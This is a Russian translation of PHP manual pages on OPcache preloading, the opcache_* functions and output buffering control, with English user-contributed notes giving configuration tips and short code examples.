Настройка предзагрузки состоит из двух этапов и требует включённого opcache. Для начала, настройте opcache.preload в php.ini:

opcache.preload=preload.php

Файл preload.php — это обязательный файл, который будет запущен один раз при старте сервера (PHP-FPM, mod_php, etc.) и который загрузит код в постоянную память. В серверах, которые запускаются от имени root перед переключением на непривилегированного пользователя системы или если PHP запускается от имени root (не рекомендуется), значение opcache.preload_user может указывать системного пользователя для запуска предварительной загрузки. Запуск предварительной загрузки от имени root по умолчанию запрещён. Установите opcache.preload_user=root, чтобы явно разрешить это.

В скрипте preload.php любой файл, указанный в выражениях include, include_once, require, require_once или opcache_compile_file(), будет загружен в постоянную память. В следующем примере будут загружены все файлы .php в директории src, если они не содержат Test в имени.

<?php
$directory = new RecursiveDirectoryIterator(__DIR__ . '/src');
$fullTree = new RecursiveIteratorIterator($directory);
$phpFiles = new RegexIterator($fullTree, '/.+((?<!Test)+\.php$)/i', RecursiveRegexIterator::GET_MATCH);

foreach ($phpFiles as $key => $file) {
require_once $file[0];
}
?>

И include и opcache_compile_file() будут работать, но при этом будут немного по разному обработаны.

  • Выражение include запустит код из файла, а opcache_compile_file() нет. Это повлияет только на условные декларации (функции объявленные в блоках if).
  • Из за того, что include запустит код, вложенные include также будут обработаны и предзагружены.
  • Функция opcache_compile_file() может загружать файлы в любом порядке. То есть, если файл a.php определяет класс A и b.php определяет класс B, который является наследником A, то функция opcache_compile_file() может загрузить эти два файла в любом порядке. При использовании выражения include, с другой стороны, файл a.php должен быть загружен первым.
  • В любом случае, если какой-то скрипт в последствии запросит включение уже предзагруженного скрипта, то он будет выполнен, но сущности пересоздаваться не будут. Использование выражения include_once не предотвратит повторное включение файла. Может потребоваться загрузить файл снова, чтобы включить в него определённые глобальные константы, поскольку они не обрабатываются предварительной загрузкой.
Какой подход использовать — зависит от желаемого поведения. Для кода, который использует автозагрузчик, подход с вызовом функции opcache_compile_file() даст больше гибкости. С кодом, который будет загружаться вручную, вариант с выражением include может быть более надёжным.

User Contributed Notes

postmaster at greg0ire dot fr 11-Nov-2022 08:57
There are caveats when enabling preloading, one of them being that it should be enabled via a php.ini file. Enabling it with a php-fpm pool configuration won't work, for instance, since preloading is global and not per-pool. To make sure that you successfully enabled preloading, you should check for a preload_statistics key in the output of opcache_get_status(). There should already be an opcache_statistics key, but that's something else entirely.
postmaster at greg0ire dot fr 20-Oct-2022 07:17
PHP 8.1 comes with an inheritance cache that partially overlaps with what the preloading already does. If you enabled preloading on lower versions then migrated to PHP 8.1, you might want to turn off preloading and see if that comes with a performance penalty or not.


Функции OPcache

Содержание

  • opcache_compile_file — Скомпилировать и закешировать, но не исполнять скрипт PHP
  • opcache_get_configuration — Получить конфигурационную информацию кеша
  • opcache_get_status — Получить информацию о состоянии кеша
  • opcache_invalidate — Аннулирует закешированный скрипт
  • opcache_is_script_cached — Проверяет, закеширован ли скрипт в OPCache
  • opcache_reset — Сбрасывает содержимое кеша опкодов

User Contributed Notes

There are no user contributed notes for this page.


Скомпилировать и закешировать, но не исполнять скрипт PHP

  • « Функции OPcache
  • opcache_get_configuration »
  • PHP Manual
  • Функции OPcache
  • Скомпилировать и закешировать, но не исполнять скрипт PHP

opcache_compile_file

(PHP 5 >= 5.5.5, PHP 7, PHP 8, PECL ZendOpcache > 7.0.2)

opcache_compile_file — Скомпилировать и закешировать, но не исполнять скрипт PHP

Описание

opcache_compile_file(string $filename): bool

Эта функция компилирует PHP-скрипт и помещает его в кеш опкодов, но не запускает его. Можно использовать для прогрева кеша после перезапуска веб-сервера.

Список параметров

filename

Путь к скрипту PHP.

Возвращаемые значения

Возвращает true, если filename успешно скомпилирован или false в случае возникновения ошибки.

Ошибки

Если filename не может быть загружен или скомпилирован, будет выдана ошибка уровня E_WARNING. Для подавления предупреждения можно использовать @.

Смотрите также

  • opcache_invalidate() - Аннулирует закешированный скрипт

User Contributed Notes

IceNV 06-Dec-2017 03:38
Be aware that opcache will only compile and cache files older than the script execution start.

For instance, if you use a script to generate cache files (e.g. you don't have access to shmop and rely on opcache for in-memory data caching instead), opcache_compile_file will not include the generated file in the cache, because its modification time is after the script start.

The workaround is to use touch() to set a date before the script execution date, then opcache will compile and cache the generated file.


Получить конфигурационную информацию кеша

  • « opcache_compile_file
  • opcache_get_status »
  • PHP Manual
  • Функции OPcache
  • Получить конфигурационную информацию кеша

opcache_get_configuration

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL ZendOpcache > 7.0.2)

opcache_get_configuration — Получить конфигурационную информацию кеша

Описание

opcache_get_configuration(): array|false

Эта функция возвращает настройки конфигурации экземпляра кеша.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив с информацией, включая INI-настройки, чёрный список и версию

Ошибки

Если используется opcache.restrict_api и текущий путь подпадает под запрет, то будет вызвана ошибка уровня E_WARNING и никаких данных возвращено не будет.

Смотрите также

  • opcache_get_status() - Получить информацию о состоянии кеша

User Contributed Notes

marcus at synchromedia dot co dot uk 16-Sep-2014 09:08
Example output from this function:

array(3) {
  ["directives"]=>
  array(25) {
    ["opcache.enable"]=>
    bool(true)
    ["opcache.enable_cli"]=>
    bool(true)
    ["opcache.use_cwd"]=>
    bool(true)
    ["opcache.validate_timestamps"]=>
    bool(true)
    ["opcache.inherited_hack"]=>
    bool(true)
    ["opcache.dups_fix"]=>
    bool(false)
    ["opcache.revalidate_path"]=>
    bool(false)
    ["opcache.log_verbosity_level"]=>
    int(1)
    ["opcache.memory_consumption"]=>
    int(134217728)
    ["opcache.interned_strings_buffer"]=>
    int(8)
    ["opcache.max_accelerated_files"]=>
    int(4000)
    ["opcache.max_wasted_percentage"]=>
    float(0.05)
    ["opcache.consistency_checks"]=>
    int(0)
    ["opcache.force_restart_timeout"]=>
    int(180)
    ["opcache.revalidate_freq"]=>
    int(60)
    ["opcache.preferred_memory_model"]=>
    string(0) ""
    ["opcache.blacklist_filename"]=>
    string(0) ""
    ["opcache.max_file_size"]=>
    int(0)
    ["opcache.error_log"]=>
    string(0) ""
    ["opcache.protect_memory"]=>
    bool(false)
    ["opcache.save_comments"]=>
    bool(true)
    ["opcache.load_comments"]=>
    bool(true)
    ["opcache.fast_shutdown"]=>
    bool(true)
    ["opcache.enable_file_override"]=>
    bool(false)
    ["opcache.optimization_level"]=>
    int(4294967295)
  }
  ["version"]=>
  array(2) {
    ["version"]=>
    string(9) "7.0.4-dev"
    ["opcache_product_name"]=>
    string(12) "Zend OPcache"
  }
  ["blacklist"]=>
  array(0) {
  }
}


Получить информацию о состоянии кеша

  • « opcache_get_configuration
  • opcache_invalidate »
  • PHP Manual
  • Функции OPcache
  • Получить информацию о состоянии кеша

opcache_get_status

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL ZendOpcache > 7.0.2)

opcache_get_status — Получить информацию о состоянии кеша

Описание

opcache_get_status(bool $include_scripts = true): array|false

Функция возвращает информацию о состоянии экземпляра кеша в памяти. Она не возвращает никакой информации о файловом кеше.

Список параметров

include_scripts

Включить информацию о состоянии конкретного скрипта.

Возвращаемые значения

Возвращает массив, опционально содержащий информацию о состоянии конкретного скрипта или false в случае возникновения ошибки.

Ошибки

Если используется opcache.restrict_api и текущий путь подпадает под запрет, то будет вызвана ошибка уровня E_WARNING и никаких данных возвращено не будет.

Смотрите также

  • opcache_get_configuration() - Получить конфигурационную информацию кеша

User Contributed Notes

pascal dot landau at googlemail dot com 07-Feb-2017 11:04
If the opcache is disabled, this functions returns false.
marcus at synchromedia dot co dot uk 16-Sep-2014 09:11
Example output from this function:

array(8) {
  ["opcache_enabled"]=>
  bool(true)
  ["cache_full"]=>
  bool(false)
  ["restart_pending"]=>
  bool(false)
  ["restart_in_progress"]=>
  bool(false)
  ["memory_usage"]=>
  array(4) {
    ["used_memory"]=>
    int(10936144)
    ["free_memory"]=>
    int(123281584)
    ["wasted_memory"]=>
    int(0)
    ["current_wasted_percentage"]=>
    float(0)
  }
  ["interned_strings_usage"]=>
  array(4) {
    ["buffer_size"]=>
    int(8388608)
    ["used_memory"]=>
    int(458480)
    ["free_memory"]=>
    int(7930128)
    ["number_of_strings"]=>
    int(5056)
  }
  ["opcache_statistics"]=>
  array(13) {
    ["num_cached_scripts"]=>
    int(1)
    ["num_cached_keys"]=>
    int(2)
    ["max_cached_keys"]=>
    int(7963)
    ["hits"]=>
    int(0)
    ["start_time"]=>
    int(1410858101)
    ["last_restart_time"]=>
    int(0)
    ["oom_restarts"]=>
    int(0)
    ["hash_restarts"]=>
    int(0)
    ["manual_restarts"]=>
    int(0)
    ["misses"]=>
    int(1)
    ["blacklist_misses"]=>
    int(0)
    ["blacklist_miss_ratio"]=>
    float(0)
    ["opcache_hit_rate"]=>
    float(0)
  }
  ["scripts"]=>
  array(1) {
    ["/var/www/opcache.php"]=>
    array(6) {
      ["full_path"]=>
      string(17) "/var/www/opcache.php"
      ["hits"]=>
      int(0)
      ["memory_consumption"]=>
      int(1064)
      ["last_used"]=>
      string(24) "Tue Sep 16 09:01:41 2014"
      ["last_used_timestamp"]=>
      int(1410858101)
      ["timestamp"]=>
      int(1410858099)
    }
  }
}


Аннулирует закешированный скрипт

  • « opcache_get_status
  • opcache_is_script_cached »
  • PHP Manual
  • Функции OPcache
  • Аннулирует закешированный скрипт

opcache_invalidate

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL ZendOpcache >= 7.0.0)

opcache_invalidate — Аннулирует закешированный скрипт

Описание

opcache_invalidate(string $filename, bool $force = false): bool

Функция аннулирует закешированный скрипт. Если параметр force не задан или задан как false, скрипт аннулируется, только если скрипт был модифицирован после помещения в кеш. Функция аннулирует только кеш в памяти, не затрагивая файловый кеш.

Список параметров

filename

Путь к скрипту.

force

Если установлено как true, кеш скрипта будет принудительно аннулирован независимо от того, требуется ли это или нет

Возвращаемые значения

Возвращает true, если кеш опкодов для filename аннулирован, либо если аннулировать нечего. В случае, если кеш опкодов отключён, возвращается false.

Смотрите также

  • opcache_compile_file() - Скомпилировать и закешировать, но не исполнять скрипт PHP
  • opcache_reset() - Сбрасывает содержимое кеша опкодов

User Contributed Notes

dmitry dot balabka at gmail dot com 21-Nov-2019 02:35
opcache_invalidate tries to acquire SHM lock. When the lock can not be acquired opcache_invalidate will return FALSE. During multiple concurrent opcache_invalidate calls with higher probability, the function will return FALSE.
kaare at colourbox dot com 18-Mar-2016 10:40
Note that invalidation doesn't actually evict anything from the cache, it just forces a recompile. You can verify this by calling opcache_get_status() and seeing that the invalidated script is not actually removed from "scripts". This means it cannot be used as a more graceful alternative to opcache_reset() when the cache is full ("cache_full":true in status). The cache will eventually fill up and refuse to cache new requests if you do atomic deployment of PHP code by changing the web server's document root. It appears opcache_reset() is the only way to prevent this, but opcache_reset() can disable the cache for any amount of time while attempting to restart, causing load spikes.
joel at taotesting dot com 22-Dec-2014 02:14
Beware that only existing files can be invalidated.

Instead of removing a file from opcache that you have delete, you need to call opcache_invalidate before deleting it.


Проверяет, закеширован ли скрипт в OPCache

  • « opcache_invalidate
  • opcache_reset »
  • PHP Manual
  • Функции OPcache
  • Проверяет, закеширован ли скрипт в OPCache

opcache_is_script_cached

(PHP 5 >= 5.5.11, PHP 7, PHP 8, PECL ZendOpcache >= 7.0.4)

opcache_is_script_cached — Проверяет, закеширован ли скрипт в OPCache

Описание

opcache_is_script_cached(string $filename): bool

Функция проверяет, закеширован ли указанный скрипт в OPCache. Может быть использована для определения, прогрет ли кеш для конкретного скрипта. Функция проверяет только кеш в памяти, не проверяя файловый кеш.

Список параметров

filename

Путь к файлу скрипта.

Возвращаемые значения

Возвращает true, если filename закеширован в OPCache, false если нет.

Смотрите также

  • opcache_compile_file() - Скомпилировать и закешировать, но не исполнять скрипт PHP

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает содержимое кеша опкодов

  • « opcache_is_script_cached
  • Контроль вывода »
  • PHP Manual
  • Функции OPcache
  • Сбрасывает содержимое кеша опкодов

opcache_reset

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL ZendOpcache >= 7.0.0)

opcache_reset — Сбрасывает содержимое кеша опкодов

Описание

opcache_reset(): bool

Функция сбрасывает весь кеш. После вызова opcache_reset() все скрипты будут заново загружены, скомпилированы и помещены в кеш после их следующего вызова. Функция сбрасывает только кеш в памяти, не затрагивая файловый кеш.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если кеш опкодов был сброшен или false, если кеш отключён, ожидается перезапуск или перезапуск выполняется (смотрите opcache_get_status()).

Смотрите также

  • opcache_invalidate() - Аннулирует закешированный скрипт
  • opcache_get_status() - Получить информацию о состоянии кеша

User Contributed Notes

Jan 20-Jan-2020 03:02
For longer php scripts: opcache_reset() will obtain a lock and it will reset the cache only after the script has ended, after which the lock is released.

Calling opcache_reset() multiple times or any other opcache manipulation method, like opcache_invalidate(), after calling opcache_reset() in a single script is not useful: while opcache_reset() holds the lock, other opcache methods will return false and they will have zero effect on the cache.

Although the opcache manipulation methods have no effect during this lock, opcache does recache scripts corresponding to the opcache.revalidate_freq setting, provided that opcache.validate_timestamps is switched on.

To keep the cache up to date, use opcache_invalidate() when modifying single  php files. Use opcache_reset() for bigger changes and only at the end of a php script.
erutan409 at hotmail dot com 08-Nov-2018 04:57
So, I thought I'd share something that might benefit those looking for a way to reset opcache in CLI.

As an example in my case, I'm running a Laravel app with a router script with the built-in web server for local development.  I enabled opcache with the following run configuration:

/path/to/php.exe -d zend_extension=php_opcache.dll -d opcache.enable_cli=1 -d opcache.memory_consumption=128 -d opcache.max_accelerated_files=10000 -d opcache.validate_timestamps=0 -d opcache.save_comments=0 -t project_path/public/ server.php

This is basically what artisan serve is doing behind the scenes, anyway, except without the opcache part.

I have some file watchers setup to detect changes and executes the following upon said change(s):

/path/to/php.exe -d zend_extension=php_opcache.dll -d opcache.enable_cli=1 -r "opcache_reset();"

The key is ensuring that you're enabling opcache in CLI.  I've been using this for some time, so I can attest to this being a viable solution without needing to create a script to execute somewhere in the document root, etc.

I'm only referring to Laravel as an example of why I chose to explore options for solving this problem.  This should translate to any scenario a developer would need to utilize opcache in their project(s) while using the built-in web server.
Marsius777 19-Dec-2017 01:40
Run this to clear cache php -r 'opcache_reset();'
fbgolly at gmail dot com 11-Aug-2017 03:38
My workaround to clear cache via CLI is create a bash script like this:

#!/bin/bash
WEBDIR=/var/www/html/
RANDOM_NAME=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13)
echo "<?php opcache_reset(); ?>" > ${WEBDIR}${RANDOM_NAME}.php
curl http://localhost/${RANDOM_NAME}.php
rm ${WEBDIR}${RANDOM_NAME}.php

put it in /usr/local/bin/opcache-clear and make it executable.
When I want to clear cache I simply run "opcache-clear" inside terminal.
mike 13-Sep-2016 02:54
In some (most?) systems PHP's CLI has a separate opcode cache to the one used by the web server or PHP-FPM process, which means running opcache_reset() in the CLI won't reset the webserver/fpm opcode cache, and vice-versa.
Anonymous 08-Sep-2015 03:36
It should be mentioned that opcache_reset() does not reset cache when executed via cli.
So `php -r "var_dump(opcache_reset());"` outputs "true" but doesn't clean cache. Make file, access it via http - and cache is clean.
antoine dot vdsk at gmail dot com 29-Jul-2015 05:08
For people who have difficulties with constants and opcache_reset().
If you include a file with constant and do an opcache_reset() in the same file, you'll probably have some error like :

"Notice: Constant already defined"

The trick is to call opcache_reset() in an isolated file, then include another file that include the file with constants.

File a.php
<?php
opcache_reset();
include 'b.php'
?>

File b.php
<?php
include 'constants.php';
?>

File constants.php
<?php
define('MY_CONST', 'abcdef');
?>

With this trick, the opcache will be reset in a.php and when b.php will be included, the constants will not be in cache anymore.


Управление буфером вывода

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Базовое использование
    • Использование перезаписи вывода
  • Функции контроля вывода
    • flush — Сброс системного буфера вывода
    • ob_clean — Очистить (стереть) буфер вывода
    • ob_end_clean — Очистить (стереть) буфер вывода и отключить буферизацию вывода
    • ob_end_flush — Сбросить (отправить) буфер вывода и отключить буферизацию вывода
    • ob_flush — Сбросить (отправить) буфер вывода
    • ob_get_clean — Получить содержимое текущего буфера и удалить его
    • ob_get_contents — Возвращает содержимое буфера вывода
    • ob_get_flush — Сбросить буфер вывода, вернуть его в виде строки и отключить буферизацию вывода
    • ob_get_length — Возвращает размер буфера вывода
    • ob_get_level — Возвращает уровень вложенности механизма буферизации вывода
    • ob_get_status — Получить статус буфера вывода
    • ob_gzhandler — callback-функция, используемая для gzip-сжатия буфера вывода при вызове ob_start
    • ob_implicit_flush — Включение/выключение неявного сброса
    • ob_list_handlers — Список всех используемых обработчиков вывода
    • ob_start — Включение буферизации вывода
    • output_add_rewrite_var — Добавить значения в обработчик URL
    • output_reset_rewrite_vars — Сбросить значения обработчика URL

User Contributed Notes

clancy hood at gmail dot com 11-Apr-2009 11:33
The manual is a little shy on explaining that output buffers are nested, and that "turns off output buffering" means turning off the highest nested buffer.  See ob_get_level (for a useful function, but still no explanation)

<?php
    ob_start();
    echo "1:blah\n";
    ob_start();
    echo "2:blah";
    // ob_get_clean() returns the contents of the last buffer opened.  The first "blah" and the output of var_dump are flushed from the top buffer on exit
    var_dump(ob_get_clean());
    exit;
?>

puts:
    1:blah
    string(6) "2:blah"

Prior to realising this, I had thought PHP's ob functionality left more to be desired.  I *really* wish I knew earlier.


Введение

Функции управления выводом позволяют вам контролировать вывод, отправляемый скриптом. Это может быть полезно в различных ситуациях, особенно если вам необходимо отправить заголовки в браузер после того, как ваш скрипт уже начал выводить данные. Функции управления выводом не влияют на заголовки, отправленные с помощью функций header() или setcookie(), а влияют только на такие функции, как echo и данные между блоками PHP-кода.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Конфигурационные опции управления выводом
Имя | По умолчанию | Место изменения | Список изменений
output_buffering | "0" | PHP_INI_PERDIR |
output_handler | NULL | PHP_INI_PERDIR |
implicit_flush | "0" | PHP_INI_ALL |
url_rewriter.tags | "a=href,area=href,frame=src,form=,fieldset=" | PHP_INI_ALL | До PHP 7.1.0 использовалась для установки перезаписи сессии "trans sid". С PHP 7.1.0 используется только output_add_rewrite_var().
url_rewriter.hosts | $_SERVER['HTTP_HOST'] используется по умолчанию. | PHP_INI_ALL | Доступно с PHP 7.1.0
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

output_buffering bool/integer

Вы можете разрешить буферизацию вывода для всех файлов, установив эту директиву в 'On'. Если вы хотите ограничить размер буфера до определённого размера, вы можете установить не 'On', а максимальное количество байт в этой директиве (например, output_buffering=4096). Эта директива всегда отключена в PHP-CLI.

output_handler string

Вы можете перенаправить весь вывод вашего скрипта в функцию. Для примера, если вы установите output_handler в mb_output_handler(), то кодировка символов прозрачно преобразуется в соответствии с указанной кодировкой. Настройка любого обработчика вывода автоматически включает буферизацию вывода.

Замечание:

Вы не можете использовать вместе mb_output_handler() с ob_iconv_handler(), и вы не можете использовать вместе ob_gzhandler() и zlib.output_compression.

Замечание:

Только встроенные функции могут использоваться с этой директивой. Для функции, определённой пользователем, используйте ob_start().

implicit_flush bool

false по умолчанию. Изменение значения на true указывает PHP не сохранять данные в буфер, а после каждого отправленного блока автоматически отправлять данные в выходной слой. Это эквивалентно вызову PHP-функции flush() после каждого вызова print или echo для каждого HTML-блока.

При использовании PHP в веб-среде, включение этой опции приведёт к серьёзной потере производительности, поэтому рекомендуется использовать её только для отладки. Это значение по умолчанию имеет true при работе в CLI SAPI.

Сморите также ob_implicit_flush().

url_rewriter.tags string
url_rewriter.tags определяет, какие HTML-теги будут перезаписаны значениями output_add_rewrite_var(). По умолчанию a=href,area=href,frame=src,input=src,form= form является специальным тегом. <input hidden="session_id" name="session_name"> добавляется как переменная формы.

Замечание: До PHP 7.1.0 надо было использовать url_rewriter.tags для указания session.trans_sid_tags. Начиная с PHP 7.1.0, fieldset больше не рассматривается как специальный тег.

url_rewriter.hosts string
url_rewriter.hosts указывает, какие хосты перезаписываются для включения значений output_add_rewrite_var(). По умолчанию используется $_SERVER['HTTP_HOST']. Несколько хостов можно указать перечислив их через запятую, между хостами не должно быть пробелов. То есть php.net,wiki.php.net,bugs.php.net

User Contributed Notes

support at losalgendesign dot com 09-Aug-2013 04:46
Using "OFF" or no value on output_buffering will disable header modifications, like redirects or content-type or content-disposition resulting in the error we commonly attribute to output before header modifications:

Warning: Cannot modify header information - headers already sent by (output started at C:\PATH\filename.php:1) C:\PATH\filename.php on line 1

Example code with output_buffering = OFF which results in this behavior.  Changing it to "ON" or giving it a value will likely cause normal behavior.

<?php header("Location: http://www.php.net"); ?>

or

<?php header("Content-Type: text/Calendar"); ?>
<?php header("Content-Disposition: inline; filename=appointment.ics"); ?>


Предопределённые константы

Перечисленные ниже константы всегда доступны как часть ядра PHP.

PHP_OUTPUT_HANDLER_START (int)

Служит признаком того, что буферирование вывода началось.

PHP_OUTPUT_HANDLER_WRITE (int)

Служит признаком того, что буфер вывода очищается и в нем находятся данные для вывода.

PHP_OUTPUT_HANDLER_FLUSH (int)

Обозначает, что буфер был сброшен (очищен и выведен).

PHP_OUTPUT_HANDLER_CLEAN (int)

Обозначает, что буфер был очищен.

PHP_OUTPUT_HANDLER_FINAL (int)

Обозначает, что это последняя операция буферирования.

PHP_OUTPUT_HANDLER_CONT (int)

Обозначает, что буфер был очищен, но буферирование вывода будет продолжено.

Это синоним для PHP_OUTPUT_HANDLER_WRITE.

PHP_OUTPUT_HANDLER_END (int)

Обозначает, что буферирование вывода завершено.

Это синоним для PHP_OUTPUT_HANDLER_FINAL.

PHP_OUTPUT_HANDLER_CLEANABLE (int)

Определяет может ли буфер вывода, созданный ob_start(), быть очищенным.

PHP_OUTPUT_HANDLER_FLUSHABLE (int)

Определяет может ли буфер вывода, созданный ob_start(), быть сброшен (выведен и очищен).

PHP_OUTPUT_HANDLER_REMOVABLE (int)

Определяет может ли буфер вывода, созданный ob_start(), быть удалённым до завершения скрипта.

PHP_OUTPUT_HANDLER_STDFLAGS (int)

Значение по умолчанию для флагов буфера вывода. Равняется PHP_OUTPUT_HANDLER_CLEANABLE | PHP_OUTPUT_HANDLER_FLUSHABLE | PHP_OUTPUT_HANDLER_REMOVABLE.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Базовое использование
  • Использование перезаписи вывода

User Contributed Notes

There are no user contributed notes for this page.


Базовое использование

Пример #1 Пример контроля вывода

<?php

ob_start();
echo "Привет\n";

setcookie("cookiename", "cookiedata");

ob_end_flush();

?>

В приведённом выше примере вывод из echo будет храниться в буфере вывода до вызова ob_end_flush(). В то же время вызов setcookie() успешно сохранится в cookie браузера, не вызывая ошибки (заголовки не могут быть отправлены в браузер после того, как данные уже были отправлены).

User Contributed Notes

dario dot cangialosi at gmail dot com 25-Feb-2019 01:40
<?php
function  ob($function){
ob_start();
$function();
$produced = ob_get_contents();
ob_end_clean();
return $produced;
}
echo ob(function(){echo 123;})=='123'?"echo captured\n":'';


Использование перезаписи вывода

Начиная с PHP 7.1.0, output_add_rewrite_var() и output_reset_rewrite_vars() используют отдельный буфер вывода, то есть не используют буфер вывода прозрачной поддержки sid.

Пример #1 Пример перезаписи вывода

<?php
// Этот код работает с PHP 7.1.0, 7.0.10, 5.6.25 и выше.

// HTTP_HOST - целевой хост по умолчанию. Зададим сами, чтобы код примера заработал.
$_SERVER['HTTP_HOST'] = 'php.net';

// Перезаписыватель вывода перезаписывает только "form". Добавим a=href.
// Теги должны указываться как tag_name=url_attr, то есть img=src,iframe=src
// Между настройками пробелы недопустимы.
// Тег "form" - специальный тег, в который добавляется скрытый "input"
ini_set('url_rewriter.tags','a=href,form=');
var_dump(ini_get('url_rewriter.tags'));

// Это добавлено в URL и "form"
output_add_rewrite_var('test', 'value');
?>
<a href="//php.net/index.php?bug=1234">bug1234</a>
<form action="https://php.net/?bug=1234&edit=1" action="post">
<input type="text" name="title" />
</form>

Результат выполнения данного примера:

<a href="//php.net/?bug=1234&test=value">bug1234</a>
<form action="https://php.net/?bug=1234&edit=1" method="post"><input type="hidden" name="test" value="value" />
 <input type="text" name="title" />
</form>

С PHP 7.1.0, функции перезаписи вывода имеют свои собственные INI-настройки. url_rewriter.tags и url_rewriter.hosts.

User Contributed Notes

There are no user contributed notes for this page.


Функции контроля вывода

Смотрите также

Смотрите также header() и setcookie().

Содержание

  • flush — Сброс системного буфера вывода
  • ob_clean — Очистить (стереть) буфер вывода
  • ob_end_clean — Очистить (стереть) буфер вывода и отключить буферизацию вывода
  • ob_end_flush — Сбросить (отправить) буфер вывода и отключить буферизацию вывода
  • ob_flush — Сбросить (отправить) буфер вывода
  • ob_get_clean — Получить содержимое текущего буфера и удалить его
  • ob_get_contents — Возвращает содержимое буфера вывода
  • ob_get_flush — Сбросить буфер вывода, вернуть его в виде строки и отключить буферизацию вывода
  • ob_get_length — Возвращает размер буфера вывода
  • ob_get_level — Возвращает уровень вложенности механизма буферизации вывода
  • ob_get_status — Получить статус буфера вывода
  • ob_gzhandler — callback-функция, используемая для gzip-сжатия буфера вывода при вызове ob_start
  • ob_implicit_flush — Включение/выключение неявного сброса
  • ob_list_handlers — Список всех используемых обработчиков вывода
  • ob_start — Включение буферизации вывода
  • output_add_rewrite_var — Добавить значения в обработчик URL
  • output_reset_rewrite_vars — Сбросить значения обработчика URL

User Contributed Notes

Attila Houtkooper 13-Jun-2015 07:10
Take care to take exceptions in the code in mind when using ob_start and ob_get_contents. If you do not do this, the number of calls to ob_start will not match those to ob_end and you're not gonna have a good time.

<?php
public function requireIntoVariable($path) {
    ob_start();

    try {
        require $path;
    } catch (Exception $e) {
        ob_end_clean();
        throw $e;
    }

    $output = ob_get_contents();
    ob_end_clean();
    return $output;
}
?>
Anonymous 20-Apr-2009 12:24
You possibly also want to end your benchmark after the output is flushed.

<?php
your_benchmark_start_function();

ob_start ();
for ($i = 0; $i < 5000; $i++)
    echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

                              <----------
echo your_benchmark_end_function();      |
ob_end_flush (); ------------------------
?>
della at sun dot com 25-Nov-2008 01:08
Sometimes users are blaming about slow pages ... not being aware that mostly this is due to network issues.
So I've decided to add some statistics at the end of my pages:

At beginning I start the counters:

<?php
  function microtime_float() {
    if (version_compare(PHP_VERSION, '5.0.0', '>'))  return microtime(true);
    list($u,$s)=explode(' ',microtime()); return ((float)$u+(float)$s);
  }
  $initime=microtime_float();
  ob_start();
  ob_implicit_flush();
?>

And at the end I show the statistics:

<?php
  echo "PHP Time: ".round((microtime_float()-$initime)*1000)." msecs. ";
  echo "Size: ".round_byte(strlen(ob_get_contents()));
  ob_end_flush();
?>

(round_byte is my function to print byte sizes)
jgeewax a t gmail 29-Jun-2007 07:02
It seems that while using output buffering, an included file which calls die() before the output buffer is closed is flushed rather than cleaned. That is, ob_end_flush() is called by default.

<?php
// a.php (this file should never display anything)
ob_start();
include('b.php');
ob_end_clean();
?>

<?php
// b.php
print "b";
die();
?>

This ends up printing "b" rather than nothing as ob_end_flush() is called instead of ob_end_clean(). That is, die() flushes the buffer rather than cleans it. This took me a while to determine what was causing the flush, so I thought I'd share.
basicartsstudios at hotmail dot com 21-Jan-2007 10:39
Sometimes you might not want to include a php-file under the specifications defined in the functions include() or require(), but you might want to have in return the string that the script in the file "echoes".

Include() and require() both directly put out the evaluated code.

For avoiding this, try output-buffering:
<?php
ob_start();
eval(file_get_contents($file));
$result = ob_get_contents();
ob_end_clean();
?>
or
<?php
ob_start();
include($file);
$result = ob_get_contents();
ob_end_clean();
?>
which i consider the same, correct me if I'm wrong.

Best regards, BasicArtsStudios
trucex [um, at] gmail [um, dot] com 16-Sep-2006 02:08
Unfortunately, the PHP guys didn't build support into any of the image output functions to return the image instead of outputting it.

Fortunately, we have output buffering to fix that.

<?php

$im = imagecreatetruecolor(200, 200);

// Other image functions here...

ob_start();
imagepng($im);
$imageData = ob_get_contents();
ob_clean();

?>

You can now use the $imageData variable to either create another GD image, save it, put it in a database, make modifications to the binary, or output it to the user. You can easily check the size of it as well without having to access the disk...just use strlen();
webmaster at wistex dot com 07-Sep-2006 04:07
Now this just blew my mind. I had a problem with MySQL being incredibly slow on Windows 2003 running IIS... on ASP/VBScript pages. PHP is also installed on the server and so is Microsoft SQL 2005 Express. (Yes, we're running ASP, PHP, MySQL and MS SQL on the same Windows 2003 Server using IIS.)

I was browsing the internet for a solution and saw a suggestion that I change output_buffering to on if MySQL was slow for PHP pages.  Since we also served PHP pages with MySQL from the same server, it caught my eye.  For the hell of it, I went into php.ini and changed output_buffering to on and suddenly MySQL and ASP was faster... MySQL and PHP was faster... Microsoft SQL Server 2005 Express and ASP was faster.... everything was faster... even stuff that had no PHP!

And I didn't even have to restart IIS. As soon as I saved the php.ini file with the change, everything got faster.

Apparently PHP and MySQL and IIS are so intertwined somehow that changing the buffering setting really effects the performance of the entire server.

So, if you are having performance problems on Windows 2003 & IIS, you might try setting output_buffering = On in php.ini if you happen to have PHP installed.  Having it set to off apparently effects the performance of Windows 2003 and IIS severely... even for webpages that do not use PHP or MySQL.
kamermans at teratechnologies dot net 21-Aug-2006 01:30
Output buffering is set to '4096' instead of 'Off' or '0' by default in the php-5.0.4-10.5 RPM for Fedora Core release 4 (Stentz).  This has cost me much time!
kend52 at verizon dot net 23-Jun-2005 11:25
I ran out of memory, while output buffering and drawing text on imported images. Only the top portion of the 5MP image was displayed by the browser.  Try increasing the memory limit in either the php.ini file( memory_limit = 16M; ) or in the .htaccess file( php_value memory_limit "16M" ). Also see function memory_get_usage() .
gruik at libertysurf dot fr 10-Jul-2004 05:53
For those who are looking for optimization, try using buffered output.

